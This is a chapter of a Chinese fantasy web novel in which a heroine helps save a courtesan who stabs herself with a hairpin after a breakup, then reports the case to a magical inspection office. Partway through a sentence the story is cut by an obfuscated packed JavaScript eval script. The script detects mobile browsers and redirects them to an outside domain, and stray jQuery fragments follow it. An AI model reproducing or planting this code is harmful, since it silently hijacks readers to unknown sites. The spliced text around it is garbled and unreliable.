20.意外

柳眠看见了万成。


她想既然万成在,那么万拘也在,便想跟过去看看。


她也是后知后觉,晚上都要睡在一个屋子的,还特意跑过去打招呼干什么。


然而她看见,万成被一个女子追着。


“我说了,我们情缘已尽,这般拉拉扯扯的,羽姑娘不嫌难看吗?”两人在一个巷口停下,万成转身对那女子不耐烦道。


正好柳眠前面有几人走过,她赶紧走到旁边去,借着弃置的货架遮挡身形。


羽姑娘声音凄切:“当时你说你很快便来娶我,要给我一个家,可后来呢?”


柳眠听了心里直呼好家伙,看来这个万成跟很多人说过要给她们家啊。


想做慈善家开收容所?


“你说你祖父给你定下了一门亲事,要去同别的女子成亲,叫我不要再缠着你了。”


“我不信你心中对我没有半分情谊,我便装病托拘公子将你找来。”


万拘也知道这件事?


柳眠心中诧异。


他以为万拘这么正经的人,应该会看不惯万成的行为作风。


不过仔细一想,看不惯又怎么样,也管不着人家。


万成道:“话我已经说过很多次了,我们不合适。你以后也别再约我,也别再去烦拘弟,我是不会再来见你的。”


“刚才在大街上就这么拉拉扯扯,要是被人看见了,我该怎么解释?”万成抱怨道。


羽姑娘带着哭腔:“你心里当真没有我吗?”


万成语气十分诚恳:“当然是有的。”


“不过我心又不小,怎么可能只有你一人?”


好,古代版的“我的心碎成了很多瓣,而你有幸得到了其中一瓣”。


万成毫不留恋地走了,留下那姑娘一个人在那哭得梨花带雨。


柳眠不想管闲事,准备回去找瑶儿一起回家。


“我将你奉为此生所求,既然得不到,我也没有什么活下去的必要了!”


柳眠还没走出这街,先是听见一句凄厉的话,然后就听见利器刺进血肉和鲜血流出的声音。


作孽啊。


她马上调转方向,跑回去。


那羽姑娘将一支簪子插进了自己的左胸膛,半个身子都被染红了,倒在地上。


看见柳眠,又痛苦挣扎道:“救救我……我还不想死……”


柳眠有点无语了,你不想死这又是在干什么?闹着玩嘛?


吐槽归吐槽,柳眠很迅速地将她放平了在地上不让她乱动:“你先别急。”


“系统,有没有什么道具能救她的?”


柳眠连忙在脑子敲系统。


“检测到宿主要救的对象失血过多,推荐兑换‘红条’道具,帮助回血,使其脱离生命危险。”


“用吧用吧。”


“已扣除十五积分。”


柳眠有点心疼,但是跟一条人命比起来,也算值的。


柳眠观察着羽姑娘的状况,只是短短的一段时间,她已经昏过去了。


她以为这个道具的意思是能把羽姑娘流的血补回去之后,会停止流血。可是怎么过了一会,反而流的越多了!


柳眠的裙摆都沾上了。


“你这破道具是怎么回事啊?”


柳眠自己打开了商城找到道具红条的介绍。


上面说,使用以后,会一直生成血,直至人脱离生命危险。


也就是说,羽姑娘的伤口是没有愈合的,会一直流。而道具是会让她不断生成新的血的,于是流不尽。


这他妈不就和物理题的一边放水一边倒水什么一样吗?只不过就是放水和流水的速度一样。


柳眠:......


真的是最低成本的救人了。


柳眠要防止羽姑娘血洗长街,就得先把她簪子拔出来。


“系统,我要是拔了她胸上的簪子,她不会死吧?”


如果伤到心脏了,可不止拔出簪子那么简单。


“不会。”


这下柳眠是放心了,系统说的一定是对的。


如果是它不确定的事情,它只会说不能告知。


柳眠正想着从哪里下手,忽然听见有人喊她的名字:“柳眠。”


柳眠转头,发现是万拘。


他快步上前,看见眼前的场景后神色变得凝重:“羽姑娘又想不开?”


又?


看来这姑娘干过很多次。


柳眠赶紧把这烫手山芋丢给他:“你快想办法治治。”


万拘低声念了道法诀,一道金光融进了羽姑娘的身体里。


羽姑娘的血渐渐止住了。


两人刚松了口气,下一瞬,一个身影闪到了两人身后:“拘公子?……怎会是你乱用术法?”


传说中监察亭的人。


柳眠赶紧作证:“他是为了救人,特殊情况。”


她往旁边让了让,好能让监察亭的人看清楚羽姑娘的伤势是多么的可怕。


监察亭的人见到这般的惨状也惊呆了,蹲下身检查了一下羽姑娘的情况。


“今日原来是盛兄当值。”万拘道,“事发突然,怕再晚一步,这姑娘就没命了。”


盛夜冬点点头:“还是拘公子出手快。虽然你是好心,但按照我监察亭的规矩,还是得去登记一下。”


万拘没多犹豫:“好。”


他转向柳眠:“你先回去么?虽说只是说一下当时情况,可也不知要到什么时辰。”


柳眠刚想说自己可以跟他一起去,盛夜冬便道:“这位姑娘是个证人,得麻烦和我们一起走一趟了。看你们这样子,是熟识?”


柳眠跟着道:“是认识的。那一起走吧。不过我还有个朋友在那边,得先和她说一声。”


盛夜冬施了个法诀,将羽姑娘缩小收进了衣袖:“那我们快走吧。”


柳眠带着他们往自己来的方向走去。


“你怎么会在此处?”万拘低声问道,“还正好撞见这事?”


“我本来是看见万成公子了,以为你跟他一块,就跟过来,没想到看见他和羽姑娘拉扯。结果就这样了。”柳眠无奈,“你是不是知道这件事?”


万拘沉默了一会:“是。”


“成哥多情,我不好插手,待会见机行事,别怕。”


走了没一会,便看见了陆瑶。


陆瑶埋怨道:“你去哪里了,还回不回家了?”


“我们有点事,你先回去吧。”柳眠道。


陆瑶这回倒有个作为婢女的思想:“我一个人怎么回去?你还要去哪?”


“监察亭。”柳眠回道,“要去就别再嚎了,解决了就回去了。”


一行人往监察亭走去。


监察亭是建在朝天场的一间大屋子,里面有几个小房间。


“盛侍长。”里面的人打招呼,“这些人是犯了什


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785000|156677||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


么事?”


盛夜冬带着他们径直走进去,将羽姑娘放在了里面一个床铺上,回道:“这人受伤了,这几位见义勇为,登记一下。”


“是。”巡卫衣抬手,半空就出现一张卷纸。


盛夜冬问道:“拘公子,姑娘,你们见到她时,她便如此了?”


万拘:“是。我无意路过此地,便见她血流不止,这才施法救她。”


“那她为何忽然自裁?”盛夜冬道。


说完,盛夜冬手指轻轻一点,那簪子从羽姑娘胸口上飞出,到了他面前。


盛夜冬细细端详了这只簪子。


半只簪子都沾了血迹,不过依旧能看出这簪子不是俗物。


簪尾坠了一颗打磨成云状的高等灵石。


一旁的巡卫马上认出来了:“这是羽姑娘的东西。”


“醉云楼的羽姑娘?”盛夜冬疑惑道,“羽姑娘为何会想不开?”


“这位姑娘,你可将你遇到她的过程都说一遍?”


柳眠点点头:“我开始以为我看见了一个熟人,就追到那小路上去了,发现是我认错人了,准备离开。忽然听见一声尖叫,跑回去后就看见羽姑娘躺在地上,要我救她。”


“但是我不会法术,没一会她就因为失血过多晕过去了。之后万拘就来了。”


万拘向她投来一个赞许的目光,接下去说:“之后便是盛兄所见的那样了。”


盛夜冬真是摸不着头脑:“那真是怪事了。”


陆瑶听了一耳朵,道:“会不会是有人想要杀害这个羽姑娘?施了什么迷心咒,让她自己伤害自己。”


盛夜冬摇头:“不太行。拘公子不过是用了治愈术,便被我察觉了。倘若是迷心咒术,我不会不知。”


万拘提议道:“不如等羽姑娘醒了,问问她可有看见什么怪事?”


“确是如此。”盛夜冬冲他一拱手,“有劳拘公子和这位姑娘了,我送你们出去。”


万拘道:“盛兄留步,我们直接回府了。”


盛夜冬也没强求:“好,那我就不送了。”


三人离开了监察亭,陆瑶问道:“那个羽姑娘是醉云楼的人啊,这么厉害。”


“不过她为什么会受伤呢?”


万拘道:“羽姑娘擅琵琶,但并不会法术。”


“也是废灵根?”陆瑶道。


这个也指的是柳眠。


“醉云楼大多数的艺人,皆是寻常人。”万拘只道。


柳眠有很多事想跟万拘说:“天色不早了,我们快回去吧。”


“好。”


万拘正想去拉柳眠的手腕,然而归心似切的陆瑶听到这话马上就抓住柳眠的手臂,带她离开了。


万拘的手停顿了一息,身形很快也化作光消失了。


“好了我要去睡觉了。”陆瑶打了个哈欠。


王叔给她安排了别的睡觉的地方,临走之前她还要逼问柳眠:“明天早上我会来找你的,你得等我。”


她不提醒柳眠也会等她的,她可是柳眠的交通工具兼保镖啊。


柳眠目送陆瑶离开,万拘也回来了。


“我们进去说。”柳眠推房间门,站在台阶上微微转身看他。


月光如水,柳眠身着素衫,像是相互映衬。


万拘想到自己曾许诺,要和她过一生。


真的要过一生吗?


万拘羽睫颤了颤,微笑道:“嗯。”